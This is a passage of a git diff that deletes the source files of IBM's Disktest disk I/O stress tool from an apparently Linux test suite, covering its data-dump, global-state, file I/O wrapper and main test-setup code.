-	static size_t TotalBytes = 0;
-
-	if ((iBytes == 0) && (ibuff == NULL) &&
-	    (obuff == NULL) && (obuff_siz == 0)) {
-		TotalBytes = 0;
-		return 0;
-	}
-
-	if ((ibuff == NULL) || (obuff == NULL) || (iBytes < 1))
-		return -1;
-
-	memset(obuff, 0, obuff_siz);
-	sprintf(buff, "%08lX ", (long)TotalBytes);
-	strncat(obuff, buff, (obuff_siz - 1) - strlen(obuff));
-	for (i = 0; i < iBytes; i++) {
-		sprintf(buff, "%02X", *(ibuff + i));
-		strncat(obuff, buff, (obuff_siz - 1) - strlen(obuff));
-	}
-	TotalBytes += iBytes;
-	return 0;
-}
-
-int dump_data(FILE * stream, const char *buff, const size_t buff_siz,
-	      const size_t ofd_siz, const size_t offset, const int format)
-{
-	size_t TotalRemainingBytes, NumBytes, ibuff_siz, obuff_siz;
-	char *ibuff, *obuff, *buff_curr;
-
-	buff_curr = (char *)buff;
-	buff_curr += offset;
-	TotalRemainingBytes = buff_siz;
-	NumBytes = 0;
-	ibuff_siz = ofd_siz;
-	obuff_siz =
-	    12 + (3 * ibuff_siz) + (ibuff_siz / 4) + (ibuff_siz / 8) +
-	    ibuff_siz;
-	switch (format) {
-	case FMT_STR:
-		format_str(0, NULL, 0, NULL, 0);
-		break;
-	case FMT_RAW:
-		format_raw(0, NULL, NULL, 0);
-		break;
-	default:
-		return (-1);
-	}
-
-	if ((ibuff = (char *)ALLOC(ibuff_siz)) == NULL) {
-		fprintf(stderr, "Can't allocate ibuff\n");
-		return (-1);
-	}
-	if ((obuff = (char *)ALLOC(obuff_siz)) == NULL) {
-		FREE(ibuff);
-		fprintf(stderr, "Can't allocate obuff\n");
-		return (-1);
-	}
-
-	while (TotalRemainingBytes > 0) {
-		if (TotalRemainingBytes >= ibuff_siz) {
-			memcpy(ibuff, buff_curr, ibuff_siz);
-			TotalRemainingBytes -= ibuff_siz;
-			NumBytes = ibuff_siz;
-			buff_curr += NumBytes;
-		} else {
-			memcpy(ibuff, buff_curr, TotalRemainingBytes);
-			NumBytes = TotalRemainingBytes;
-			TotalRemainingBytes = 0;
-		}
-		switch (format) {
-		case FMT_STR:
-			format_str(NumBytes, ibuff, ibuff_siz, obuff,
-				   obuff_siz);
-			fprintf(stream, "%s\n", obuff);
-			break;
-		case FMT_RAW:
-			format_raw(NumBytes, ibuff, obuff, obuff_siz);
-			fprintf(stream, "%s\n", obuff);
-			break;
-		default:
-			FREE(ibuff);
-			FREE(obuff);
-			return (-1);
-		}
-	}
-	FREE(ibuff);
-	FREE(obuff);
-	return 0;
-}
-
-int do_dump(child_args_t * args)
-{
-	ssize_t NumBytes = 0;
-	OFF_T TargetLBA, TotalBytes = 0;
-	char *buff;
-	fd_t fd;
-
-	if ((buff = (char *)ALLOC(args->htrsiz * BLK_SIZE)) == NULL) {
-		fprintf(stderr, "Can't allocate buffer\n");
-		return (-1);
-	}
-
-	memset(buff, 0, args->htrsiz * BLK_SIZE);
-
-	fd = Open(args->device, args->flags | CLD_FLG_R);
-	if (INVALID_FD(fd)) {
-		pMsg(ERR, args, "could not open %s.\n", args->device);
-		pMsg(ERR, args, "%s: Error = %u\n", args->device,
-		     GETLASTERROR());
-		FREE(buff);
-		return (-1);
-	}
-
-	TargetLBA = Seek(fd, args->start_lba * BLK_SIZE);
-	if (TargetLBA != (args->start_lba * (OFF_T) BLK_SIZE)) {
-		pMsg(ERR, args, "Could not seek to start position.\n");
-		FREE(buff);
-		CLOSE(fd);
-		return (-1);
-	}
-
-	do {
-		NumBytes = Read(fd, buff, args->htrsiz * BLK_SIZE);
-		if ((NumBytes > args->htrsiz * BLK_SIZE) || (NumBytes < 0)) {
-			pMsg(ERR, args, "Failure reading %s\n", args->device);
-			pMsg(ERR, args, "Last Error was %lu\n", GETLASTERROR());
-			break;
-		}
-		dump_data(stdout, buff, NumBytes, 16, 0, FMT_STR);
-		TotalBytes += (OFF_T) NumBytes;
-	} while ((TotalBytes < (args->htrsiz * BLK_SIZE)) && (NumBytes > 0));
-
-	FREE(buff);
-	CLOSE(fd);
-
-	return 0;
-}
diff --git a/testcases/kernel/io/disktest/dump.h b/testcases/kernel/io/disktest/dump.h
deleted file mode 100644
index a50e4fe..0000000
--- a/testcases/kernel/io/disktest/dump.h
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
-* Disktest
-* Copyright (c) International Business Machines Corp., 2001
-*
-*
-* This program is free software; you can redistribute it and/or modify
-* it under the terms of the GNU General Public License as published by
-* the Free Software Foundation; either version 2 of the License, or
-* (at your option) any later version.
-*
-* This program is distributed in the hope that it will be useful,
-* but WITHOUT ANY WARRANTY; without even the implied warranty of
-* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-* GNU General Public License for more details.
-*
-* You should have received a copy of the GNU General Public License
-* along with this program; if not, write to the Free Software
-* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
-*
-*  Please send e-mail to yardleyb@us.ibm.com if you have
-*  questions or comments.
-*
-*  Project Website:  TBD
-*
-* $Id: dump.h,v 1.5 2008/10/20 06:30:33 subrata_modak Exp $
-*
-*/
-#ifndef _DUMP_H
-#define _DUMP_H 1
-
-#include "main.h"
-
-#define FMT_STR 1
-#define FMT_RAW 2
-
-int dump_data(FILE *, const char *, const size_t, const size_t, const size_t, const int);
-int do_dump(child_args_t *);
-
-#endif /* _DUMP_H */
-
diff --git a/testcases/kernel/io/disktest/globals.c b/testcases/kernel/io/disktest/globals.c
deleted file mode 100644
index f559bd9..0000000
--- a/testcases/kernel/io/disktest/globals.c
+++ /dev/null
@@ -1,97 +0,0 @@
-/*
-* Disktest
-* Copyright (c) International Business Machines Corp., 2001
-*
-*
-* This program is free software; you can redistribute it and/or modify
-* it under the terms of the GNU General Public License as published by
-* the Free Software Foundation; either version 2 of the License, or
-* (at your option) any later version.
-*
-* This program is distributed in the hope that it will be useful,
-* but WITHOUT ANY WARRANTY; without even the implied warranty of
-* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-* GNU General Public License for more details.
-*
-* You should have received a copy of the GNU General Public License
-* along with this program; if not, write to the Free Software
-* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
-*
-*  Please send e-mail to yardleyb@us.ibm.com if you have
-*  questions or comments.
-*
-*  Project Website:  TBD
-*
-* $Id: globals.c,v 1.6 2009/02/26 12:02:22 subrata_modak Exp $
-*
-*/
-
-#ifdef WINDOWS
-#include <windows.h>
-#else
-#include <sys/types.h>
-#include <unistd.h>
-#include <pthread.h>
-#endif
-#include <time.h>
-#include <string.h>
-
-#include "defs.h"
-#include "globals.h"
-#include "main.h"
-#include "threading.h"
-#include "sfunc.h"
-
-/* Globals */
-unsigned int gbl_dbg_lvl;	/* the global debugging level   */
-unsigned long glb_flags;	/* global flags GLB_FLG_xxx */
-time_t global_start_time;	/* global start time */
-unsigned short glb_run = 1;	/* global run flag */
-
-void init_gbl_data(test_env_t * env)
-{
-	env->kids = 0;
-	env->shared_mem = NULL;
-	env->data_buffer = NULL;
-	env->bmp_siz = 0;
-	env->pThreads = NULL;
-	env->bContinue = TRUE;
-	env->pass_count = 0;
-	env->start_time = time(NULL);	/*      overall start time of test      */
-	env->end_time = 0;	/*      overall end time of test        */
-	memset(&env->global_stats, 0, sizeof(stats_t));
-	memset(&env->cycle_stats, 0, sizeof(stats_t));
-}
-
-#ifdef WINDOWS
-/*
-void PrintLastSystemError(unsigned long ulErrorNum)
-{
-	LPVOID lpMsgBuf;
-	FormatMessage(
-		FORMAT_MESSAGE_ALLOCATE_BUFFER |
-	    FORMAT_MESSAGE_FROM_SYSTEM |
-		FORMAT_MESSAGE_IGNORE_INSERTS,
-	    NULL,
-		ulErrorNum,
-	    MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language
-		(LPTSTR) &lpMsgBuf,
-	    0,
-		NULL
-	);
-	pMsg(INFO,"%s",lpMsgBuf);
-	LocalFree(lpMsgBuf);
-}
-*/
-
-void GetSystemErrorString(unsigned long ulErrorNum, void *buffer)
-{
-	/* Use Default language */
-	FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM |
-		      FORMAT_MESSAGE_IGNORE_INSERTS,
-		      NULL,
-		      ulErrorNum,
-		      MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
-		      (LPTSTR) & buffer, 0, NULL);
-}
-#endif
diff --git a/testcases/kernel/io/disktest/globals.h b/testcases/kernel/io/disktest/globals.h
deleted file mode 100644
index 1d81e56..0000000
--- a/testcases/kernel/io/disktest/globals.h
+++ /dev/null
@@ -1,102 +0,0 @@
-/*
-* Disktest
-* Copyright (c) International Business Machines Corp., 2001
-*
-*
-* This program is free software; you can redistribute it and/or modify
-* it under the terms of the GNU General Public License as published by
-* the Free Software Foundation; either version 2 of the License, or
-* (at your option) any later version.
-*
-* This program is distributed in the hope that it will be useful,
-* but WITHOUT ANY WARRANTY; without even the implied warranty of
-* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-* GNU General Public License for more details.
-*
-* You should have received a copy of the GNU General Public License
-* along with this program; if not, write to the Free Software
-* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
-*
-*  Please send e-mail to yardleyb@us.ibm.com if you have
-*  questions or comments.
-*
-*  Project Website:  TBD
-*
-* $Id: globals.h,v 1.6 2008/02/14 08:22:23 subrata_modak Exp $
-* $Log: globals.h,v $
-* Revision 1.6  2008/02/14 08:22:23  subrata_modak
-* Disktest application update to version 1.4.2, by, Brent Yardley <yardleyb@us.ibm.com>
-*
-* Revision 1.7  2006/04/21 23:10:43  yardleyb
-* Major updates for v1_3_3 of disktest.  View README for details.
-*
-* Revision 1.6  2005/10/12 23:13:35  yardleyb
-* Updates to code to support new function in disktest version 1.3.x.
-* Actual changes are recorded in the README
-*
-* Revision 1.5  2005/01/08 21:18:34  yardleyb
-* Update performance output and usage.  Fixed pass count check
-*
-* Revision 1.4  2004/11/02 20:47:13  yardleyb
-* Added -F functions.
-* lots of minor fixes. see README
-*
-* Revision 1.3  2002/03/30 01:32:14  yardleyb
-* Major Changes:
-*
-* Added Dumping routines for
-* data miscompares,
-*
-* Updated performance output
-* based on command line.  Gave
-* one decimal in MB/s output.
-*
-* Rewrote -pL IO routine to show
-* correct stats.  Now show pass count
-* when using -C.
-*
-* Minor Changes:
-*
-* Code cleanup to remove the plethera
-* if #ifdef for windows/unix functional
-* differences.
-*
-* Revision 1.2  2002/03/07 03:32:13  yardleyb
-* Removed the use of global
-* appname.  Set devname to
-* init. value of "No Device"
-*
-* Revision 1.1  2001/12/04 18:51:06  yardleyb
-* Checkin of new source files and removal
-* of outdated source
-*
-*/
-
-#ifndef _GLOBALS_H
-#define _GLOBALS_H 1
-
-#include "defs.h"
-#include "threading.h"
-
-/* global flags */
-#define GLB_FLG_QUIET	0x00000001
-#define GLB_FLG_SUPRESS	0x00000002
-#define GLB_FLG_PERFP	0x00000004 /* forces alternate performance printing format */
-#define GLB_FLG_KILL	0x00000008 /* will kill all threads to all targets when set */
-
-#define PDBG1  if (gbl_dbg_lvl > 0) pMsg
-#define PDBG2  if (gbl_dbg_lvl > 1) pMsg
-#define PDBG3  if (gbl_dbg_lvl > 2) pMsg
-#define PDBG4  if (gbl_dbg_lvl > 3) pMsg
-#define PDBG5  if (gbl_dbg_lvl > 4) pMsg
-
-extern unsigned int gbl_dbg_lvl;
-
-void init_gbl_data(test_env_t *);
-#ifdef WINDOWS
-void PrintLastSystemError(unsigned long);
-void GetSystemErrorString(unsigned long, void *);
-#endif
-
-#endif /* _GLOBALS_H */
-
diff --git a/testcases/kernel/io/disktest/io.c b/testcases/kernel/io/disktest/io.c
deleted file mode 100644
index f83c38c..0000000
--- a/testcases/kernel/io/disktest/io.c
+++ /dev/null
@@ -1,184 +0,0 @@
-/*
-* Disktest
-* Copyright (c) International Business Machines Corp., 2001
-*
-*
-* This program is free software; you can redistribute it and/or modify
-* it under the terms of the GNU General Public License as published by
-* the Free Software Foundation; either version 2 of the License, or
-* (at your option) any later version.
-*
-* This program is distributed in the hope that it will be useful,
-* but WITHOUT ANY WARRANTY; without even the implied warranty of
-* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-* GNU General Public License for more details.
-*
-* You should have received a copy of the GNU General Public License
-* along with this program; if not, write to the Free Software
-* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
-*
-*  Please send e-mail to yardleyb@us.ibm.com if you have
-*  questions or comments.
-*
-*  Project Website:  TBD
-*
-* $Id: io.c,v 1.6 2008/02/14 08:22:23 subrata_modak Exp $
-*
-*/
-
-#ifdef WINDOWS
-#include <windows.h>
-#include <winioctl.h>
-#include <io.h>
-#else
-#include <sys/types.h>
-#include <unistd.h>
-#include <pthread.h>
-#include <fcntl.h>
-#endif
-
-#include "defs.h"
-#include "main.h"
-#include "io.h"
-
-long Write(fd_t fd, const void *buf, const unsigned long trsiz)
-{
-	long tcnt;
-#ifdef WINDOWS
-	WriteFile(fd, buf, trsiz, &tcnt, NULL);
-#else
-	tcnt = write(fd, buf, trsiz);
-#endif
-	return (tcnt);
-}
-
-long Read(fd_t fd, void *buf, const unsigned long trsiz)
-{
-	long tcnt;
-#ifdef WINDOWS
-	ReadFile(fd, buf, trsiz, &tcnt, NULL);
-#else
-	tcnt = read(fd, buf, trsiz);
-#endif
-	return (tcnt);
-}
-
-#ifdef WINDOWS
-/*
- * wrapper for file seeking in WINDOWS API to hind the ugle 32 bit
- * interface of SetFile Pointer
- */
-OFF_T FileSeek64(HANDLE hf, OFF_T distance, DWORD MoveMethod)
-{
-	LARGE_INTEGER li;
-
-	li.QuadPart = distance;
-
-	li.LowPart = SetFilePointer(hf, li.LowPart, &li.HighPart, MoveMethod);
-
-	if (li.LowPart == 0xFFFFFFFF && GetLastError() != NO_ERROR) {
-		li.QuadPart = -1;
-	}
-
-	return li.QuadPart;
-}
-#endif
-
-OFF_T SeekEnd(fd_t fd)
-{
-	OFF_T return_lba;
-
-#ifdef WINDOWS
-	return_lba = (OFF_T) FileSeek64(fd, 0, FILE_END);
-#else
-	return_lba = (OFF_T) lseek64(fd, 0, SEEK_END);
-#endif
-	return (return_lba);
-}
-
-OFF_T Seek(fd_t fd, OFF_T lba)
-{
-	OFF_T return_lba;
-
-#ifdef WINDOWS
-	return_lba = (OFF_T) FileSeek64(fd, lba, FILE_BEGIN);
-#else
-	return_lba = (OFF_T) lseek64(fd, lba, SEEK_SET);
-#endif
-	return (return_lba);
-}
-
-fd_t Open(const char *filespec, const OFF_T flags)
-{
-	fd_t fd;
-#ifdef WINDOWS
-	unsigned long OPEN_FLAGS = 0, OPEN_DISPO = 0, OPEN_READ_WRITE =
-	    0, OPEN_SHARE = 0;
-
-	if ((flags & CLD_FLG_R) && !(flags & CLD_FLG_W)) {
-		OPEN_READ_WRITE |= GENERIC_READ;
-		OPEN_SHARE |= FILE_SHARE_READ;
-	} else if (!(flags & CLD_FLG_R) && (flags & CLD_FLG_W)) {
-		OPEN_READ_WRITE |= GENERIC_WRITE;
-		OPEN_SHARE |= FILE_SHARE_WRITE;
-	} else {
-		OPEN_READ_WRITE |= (GENERIC_READ | GENERIC_WRITE);
-		OPEN_SHARE |= (FILE_SHARE_READ | FILE_SHARE_WRITE);
-	}
-
-#ifdef CLD_FLG_DIRECT
-	if (flags & CLD_FLG_DIRECT)
-		OPEN_FLAGS = FILE_FLAG_NO_BUFFERING | FILE_FLAG_WRITE_THROUGH;
-#endif
-	OPEN_DISPO = OPEN_EXISTING;
-
-#ifdef CLD_FLG_RANDOM
-	if (flags & CLD_FLG_RANDOM)
-		OPEN_FLAGS |= FILE_FLAG_RANDOM_ACCESS;
-#endif
-#ifdef CLD_FLG_LINEAR
-	if (flags & CLD_FLG_LINEAR)
-		OPEN_FLAGS |= FILE_FLAG_SEQUENTIAL_SCAN;
-#endif
-#ifdef CLD_FLG_FILE
-	if (flags & CLD_FLG_FILE) {
-		OPEN_FLAGS |= FILE_ATTRIBUTE_ARCHIVE;
-		if (flags & CLD_FLG_W)
-			OPEN_DISPO = OPEN_ALWAYS;
-	}
-#endif
-	fd = CreateFile(filespec,
-			OPEN_READ_WRITE,
-			OPEN_SHARE, NULL, OPEN_DISPO, OPEN_FLAGS, NULL);
-#else
-	int OPEN_MASK = O_LARGEFILE;
-	if ((flags & CLD_FLG_R) && !(flags & CLD_FLG_W))
-		OPEN_MASK |= O_RDONLY;
-	else if (!(flags & CLD_FLG_R) && (flags & CLD_FLG_W))
-		OPEN_MASK |= O_WRONLY;
-	else
-		OPEN_MASK |= O_RDWR;
-#ifdef CLD_FLG_FILE
-	if (flags & CLD_FLG_FILE)
-		OPEN_MASK |= O_CREAT;
-#endif
-#ifdef CLD_FLG_DIRECT
-	if (flags & CLD_FLG_DIRECT)
-		OPEN_MASK |= O_DIRECT;
-#endif
-	fd = open(filespec, OPEN_MASK, 00600);
-#endif
-	return (fd);
-}
-
-int Sync(fd_t fd)
-{
-#ifdef WINDOWS
-	if (FlushFileBuffers(fd) != TRUE) {
-		return -1;
-	}
-	return 0;
-#else
-	return fsync(fd);
-#endif
-}
diff --git a/testcases/kernel/io/disktest/io.h b/testcases/kernel/io/disktest/io.h
deleted file mode 100644
index 931e981..0000000
--- a/testcases/kernel/io/disktest/io.h
+++ /dev/null
@@ -1,63 +0,0 @@
-/*
-* Disktest
-* Copyright (c) International Business Machines Corp., 2001
-*
-*
-* This program is free software; you can redistribute it and/or modify
-* it under the terms of the GNU General Public License as published by
-* the Free Software Foundation; either version 2 of the License, or
-* (at your option) any later version.
-*
-* This program is distributed in the hope that it will be useful,
-* but WITHOUT ANY WARRANTY; without even the implied warranty of
-* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-* GNU General Public License for more details.
-*
-* You should have received a copy of the GNU General Public License
-* along with this program; if not, write to the Free Software
-* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
-*
-*  Please send e-mail to yardleyb@us.ibm.com if you have
-*  questions or comments.
-*
-*  Project Website:  TBD
-*
-* $Id: io.h,v 1.5 2008/02/14 08:22:23 subrata_modak Exp $
-*
-*/
-#ifndef IO_H_
-#define IO_H_ 1
-
-#ifdef WINDOWS
-#include <windows.h> /* HANDLE */
-#endif
-
-#include "defs.h"
-
-#ifdef PPC
-#ifdef LINUX
-/* for linux on power 2.4 O_DIRECT is only defined in asm/fcntl.h */
-#ifndef O_DIRECT
-#define O_DIRECT 0400000
-#endif
-#endif
-#endif
-
-#ifdef WINDOWS
-#define CLOSE(fd) CloseHandle(fd)
-typedef HANDLE fd_t;
-#else
-#include <stdio.h>
-#define CLOSE(fd) close(fd)
-typedef int fd_t;
-#endif
-
-fd_t Open(const char *, const OFF_T);
-OFF_T Seek(fd_t, OFF_T);
-OFF_T SeekEnd(fd_t);
-long Write(fd_t, const void *, const unsigned long);
-long Read(fd_t, void *, const unsigned long);
-int Sync (fd_t);
-
-#endif /* IO_H_ */
-
diff --git a/testcases/kernel/io/disktest/main.c b/testcases/kernel/io/disktest/main.c
deleted file mode 100644
index c372b04..0000000
--- a/testcases/kernel/io/disktest/main.c
+++ /dev/null
@@ -1,595 +0,0 @@
-/*
-* Disktest
-* Copyright (c) International Business Machines Corp., 2001
-*
-*
-* This program is free software; you can redistribute it and/or modify
-* it under the terms of the GNU General Public License as published by
-* the Free Software Foundation; either version 2 of the License, or
-* (at your option) any later version.
-*
-* This program is distributed in the hope that it will be useful,
-* but WITHOUT ANY WARRANTY; without even the implied warranty of
-* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-* GNU General Public License for more details.
-*
-* You should have received a copy of the GNU General Public License
-* along with this program; if not, write to the Free Software
-* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
-*
-*  Please send e-mail to yardleyb@us.ibm.com if you have
-*  questions or comments.
-*
-*  Project Website:  TBD
-*
-* $Id: main.c,v 1.11 2009/02/26 12:14:53 subrata_modak Exp $
-*
-*/
-#include <stdio.h>
-#ifdef WINDOWS
-#include <windows.h>
-#include <winioctl.h>
-#include <io.h>
-#include <process.h>
-#include <sys/stat.h>
-#include "getopt.h"
-#else
-#include <pthread.h>
-#include <sys/types.h>
-#include <unistd.h>
-#endif
-#include <stdlib.h>
-#include <stdarg.h>
-#include <stdint.h>
-#include <signal.h>
-#include <time.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <string.h>
-#include <ctype.h>
-
-#include "defs.h"
-#include "globals.h"
-#include "main.h"
-#include "usage.h"
-#include "sfunc.h"
-#include "parse.h"
-#include "childmain.h"
-#include "threading.h"
-#include "dump.h"
-#include "timer.h"
-#include "stats.h"
-#include "signals.h"
-
-/* global */
-child_args_t cleanArgs;
-test_env_t cleanEnv;
-char hostname[HOSTNAME_SIZE];	/* global system hostname */
-
-void linear_read_write_test(test_ll_t * test)
-{
-	OFF_T *pVal1 = (OFF_T *) test->env->shared_mem;
-	int i;
-
-	if (test->args->flags & CLD_FLG_W) {
-		test->env->bContinue = TRUE;
-		*(pVal1 + OFF_WLBA) = test->args->start_lba;
-		test->args->test_state = DIRCT_INC(test->args->test_state);
-		test->env->lastAction.oper = WRITER;
-		test->args->test_state = SET_OPER_W(test->args->test_state);
-		test->args->test_state = SET_wFST_TIME(test->args->test_state);
-//              srand(test->args->seed);        /* reseed so we can re create the same random transfers */
-		memset(test->env->action_list, 0,
-		       sizeof(action_t) * test->args->t_kids);
-		test->env->action_list_entry = 0;
-		test->env->wcount = 0;
-		test->env->rcount = 0;
-		if (test->args->flags & CLD_FLG_CYC)
-			if (test->args->cycles == 0) {
-				pMsg(INFO, test->args,
-				     "Starting write pass, cycle %lu\n",
-				     (unsigned long)test->env->pass_count);
-			} else {
-				pMsg(INFO, test->args,
-				     "Starting write pass, cycle %lu of %lu\n",
-				     (unsigned long)test->env->pass_count,
-				     test->args->cycles);
-		} else {
-			pMsg(INFO, test->args, "Starting write pass\n");
-		}
-		CreateTestChild(ChildTimer, test);
-		for (i = 0; i < test->args->t_kids; i++) {
-			CreateTestChild(ChildMain, test);
-		}
-		/* Wait for the writers to finish */
-		cleanUpTestChildren(test);
-	}
-
-	/* If the write test failed don't start the read test */
-	if (!(TST_STS(test->args->test_state))) {
-		return;
-	}
-
-	if (test->args->flags & CLD_FLG_R) {
-		test->env->bContinue = TRUE;
-		*(pVal1 + OFF_RLBA) = test->args->start_lba;
-		test->args->test_state = DIRCT_INC(test->args->test_state);
-		test->env->lastAction.oper = READER;
-		test->args->test_state = SET_OPER_R(test->args->test_state);
-		test->args->test_state = SET_rFST_TIME(test->args->test_state);
-//              srand(test->args->seed);        /* reseed so we can re create the same random transfers */
-		memset(test->env->action_list, 0,
-		       sizeof(action_t) * test->args->t_kids);
-		test->env->action_list_entry = 0;
-		test->env->wcount = 0;
-		test->env->rcount = 0;
-		if (test->args->flags & CLD_FLG_CYC)
-			if (test->args->cycles == 0) {
-				pMsg(INFO, test->args,
-				     "Starting read pass, cycle %lu\n",
-				     (unsigned long)test->env->pass_count);
-			} else {
-				pMsg(INFO, test->args,
-				     "Starting read pass, cycle %lu of %lu\n",
-				     (unsigned long)test->env->pass_count,
-				     test->args->cycles);
-		} else {
-			pMsg(INFO, test->args, "Starting read pass\n");
-		}
-		CreateTestChild(ChildTimer, test);
-		for (i = 0; i < test->args->t_kids; i++) {
-			CreateTestChild(ChildMain, test);
-		}
-		/* Wait for the readers to finish */
-		cleanUpTestChildren(test);
-	}
-}
-
-unsigned long init_data(test_ll_t * test, unsigned char **data_buffer_unaligned)
-{
-	int i;
-	OFF_T *pVal1;
-
-	unsigned long data_buffer_size;
-
-#ifdef WINDOWS
-	if (CreateMutex(NULL, FALSE, "gbl") == NULL) {
-		pMsg(ERR, test->args,
-		     "Failed to create semaphore, error = %u\n",
-		     GetLastError());
-		return (GetLastError());
-	}
-	if ((test->env->mutexs.MutexACTION =
-	     CreateMutex(NULL, FALSE, NULL)) == NULL) {
-		pMsg(ERR, test->args,
-		     "Failed to create semaphore, error = %u\n",
-		     GetLastError());
-		return (GetLastError());
-	}
-	if ((test->env->mutexs.MutexIO =
-	     CreateMutex(NULL, FALSE, NULL)) == NULL) {
-		pMsg(ERR, test->args,
-		     "Failed to create semaphore, error = %u\n",
-		     GetLastError());
-		return (GetLastError());
-	}
-#else
-
-	mutexs_t mutexs =
-	    { PTHREAD_MUTEX_INITIALIZER, PTHREAD_MUTEX_INITIALIZER };
-	test->env->mutexs = mutexs;
-
-#endif
-
-	if (test->args->seed == 0)
-		test->args->seed = test->args->pid;
-	srand(test->args->seed);
-
-	/* create bitmap to hold write/read context: each bit is an LBA */
-	/* the stuff before BMP_OFFSET is the data for child/thread shared context */
-	test->env->bmp_siz =
-	    (((((size_t) test->args->vsiz)) / 8) ==
-	     0) ? 1 : ((((size_t) test->args->vsiz)) / 8);
-	if ((test->args->vsiz / 8) != 0)
-		test->env->bmp_siz += 1;	/* account for rounding error */
-
-	/* We use that same data buffer for static data, so alloc here. */
-	data_buffer_size = ((test->args->htrsiz * BLK_SIZE) * 2);
-	if ((*data_buffer_unaligned =
-	     (unsigned char *)ALLOC(data_buffer_size + ALIGNSIZE)) == NULL) {
-		pMsg(ERR, test->args,
-		     "Failed to allocate static data buffer memory.\n");
-		return (-1);
-	}
-	/* create list to hold lbas currently be written */
-	if ((test->env->action_list =
-	     (action_t *) ALLOC(sizeof(action_t) * test->args->t_kids)) ==
-	    NULL) {
-		pMsg(ERR, test->args,
-		     "Failed to allocate static data buffer memory.\n");
-		return (-1);
-	}
-
-	test->env->data_buffer =
-	    (unsigned char *)BUFALIGN(*data_buffer_unaligned);
-
-	if ((test->env->shared_mem =
-	     (void *)ALLOC(test->env->bmp_siz + BMP_OFFSET)) == NULL) {
-		pMsg(ERR, test->args, "Failed to allocate bitmap memory\n");
-		return (-1);
-	}
-
-	memset(test->env->shared_mem, 0, test->env->bmp_siz + BMP_OFFSET);
-	memset(test->env->data_buffer, 0, data_buffer_size);
-	memset(test->env->action_list, 0,
-	       sizeof(action_t) * test->args->t_kids);
-	test->env->action_list_entry = 0;
-
-	pVal1 = (OFF_T *) test->env->shared_mem;
-	*(pVal1 + OFF_WLBA) = test->args->start_lba;
-	*(pVal1 + OFF_RLBA) = test->args->start_lba;
-	test->args->test_state = SET_STS_PASS(test->args->test_state);
-	test->args->test_state = SET_wFST_TIME(test->args->test_state);
-	test->args->test_state = SET_rFST_TIME(test->args->test_state);
-	test->args->test_state = DIRCT_INC(test->args->test_state);
-	if (test->args->flags & CLD_FLG_W) {
-		test->env->lastAction.oper = WRITER;
-		test->args->test_state = SET_OPER_W(test->args->test_state);
-	} else {
-		test->env->lastAction.oper = READER;
-		test->args->test_state = SET_OPER_R(test->args->test_state);
-	}
-
-	/* prefill the data buffer with data for compares and writes */
-	switch (test->args->flags & CLD_FLG_PTYPS) {
-	case CLD_FLG_FPTYPE:
-		for (i = 0; i < sizeof(test->args->pattern); i++) {
-			if ((test->args->
-			     pattern & (((OFF_T) 0xff) <<
-					(((sizeof(test->args->pattern) - 1) -
-					  i) * 8))) != 0)
-				break;
-		}
-		/* special case for pattern = 0 */
-		if (i == sizeof(test->args->pattern))
-			i = 0;
-		fill_buffer(test->env->data_buffer, data_buffer_size,
-			    &test->args->pattern,
-			    sizeof(test->args->pattern) - i, CLD_FLG_FPTYPE);
-		break;
-	case CLD_FLG_RPTYPE:
-		fill_buffer(test->env->data_buffer, data_buffer_size, NULL, 0,
-			    CLD_FLG_RPTYPE);
-		break;
-	case CLD_FLG_CPTYPE:
-		fill_buffer(test->env->data_buffer, data_buffer_size, 0, 0,
-			    CLD_FLG_CPTYPE);
-	case CLD_FLG_LPTYPE:
-		break;
-	default:
-		pMsg(WARN, test->args, "Unknown fill pattern\n");
-		return (-1);
-	}
-
-	return 0;
-}
-
-#ifdef WINDOWS
-DWORD WINAPI threadedMain(test_ll_t * test)
-#else
-void *threadedMain(void *vtest)
-#endif
-{
-#ifndef WINDOWS
-	test_ll_t *test = (test_ll_t *) vtest;
-#endif
-
-	OFF_T *pVal1;
-	unsigned char *data_buffer_unaligned = NULL;
-	unsigned long ulRV;
-	int i;
-	unsigned char *sharedMem;
-
-	extern unsigned short glb_run;
-	extern int signal_action;
-
-	test->args->pid = GETPID();
-
-	init_gbl_data(test->env);
-
-	if (make_assumptions(test->args) < 0) {
-		TEXIT((uintptr_t) GETLASTERROR());
-	}
-	if (check_conclusions(test->args) < 0) {
-		TEXIT((uintptr_t) GETLASTERROR());
-	}
-	if (test->args->flags & CLD_FLG_DUMP) {
-		/*
-		 * All we are doing is dumping filespec data to STDOUT, so
-		 * we will do this here and be done.
-		 */
-		do_dump(test->args);
-		TEXIT((uintptr_t) GETLASTERROR());
-	} else {
-		ulRV = init_data(test, &data_buffer_unaligned);
-		if (ulRV != 0) {
-			TEXIT(ulRV);
-		}
-		pVal1 = (OFF_T *) test->env->shared_mem;
-	}
-
-	pMsg(START, test->args, "Start args: %s\n", test->args->argstr);
-
-	/*
-	 * This loop takes care of passes
-	 */
-	do {
-		test->env->pass_count++;
-		test->env->start_time = time(NULL);
-		if (test->args->flags & CLD_FLG_RPTYPE) {	/* force random data to be different each cycle */
-			fill_buffer(test->env->data_buffer,
-				    ((test->args->htrsiz * BLK_SIZE) * 2), NULL,
-				    0, CLD_FLG_RPTYPE);
-		}
-		sharedMem = test->env->shared_mem;
-		memset(sharedMem + BMP_OFFSET, 0, test->env->bmp_siz);
-		if ((test->args->flags & CLD_FLG_LINEAR)
-		    && !(test->args->flags & CLD_FLG_NTRLVD)) {
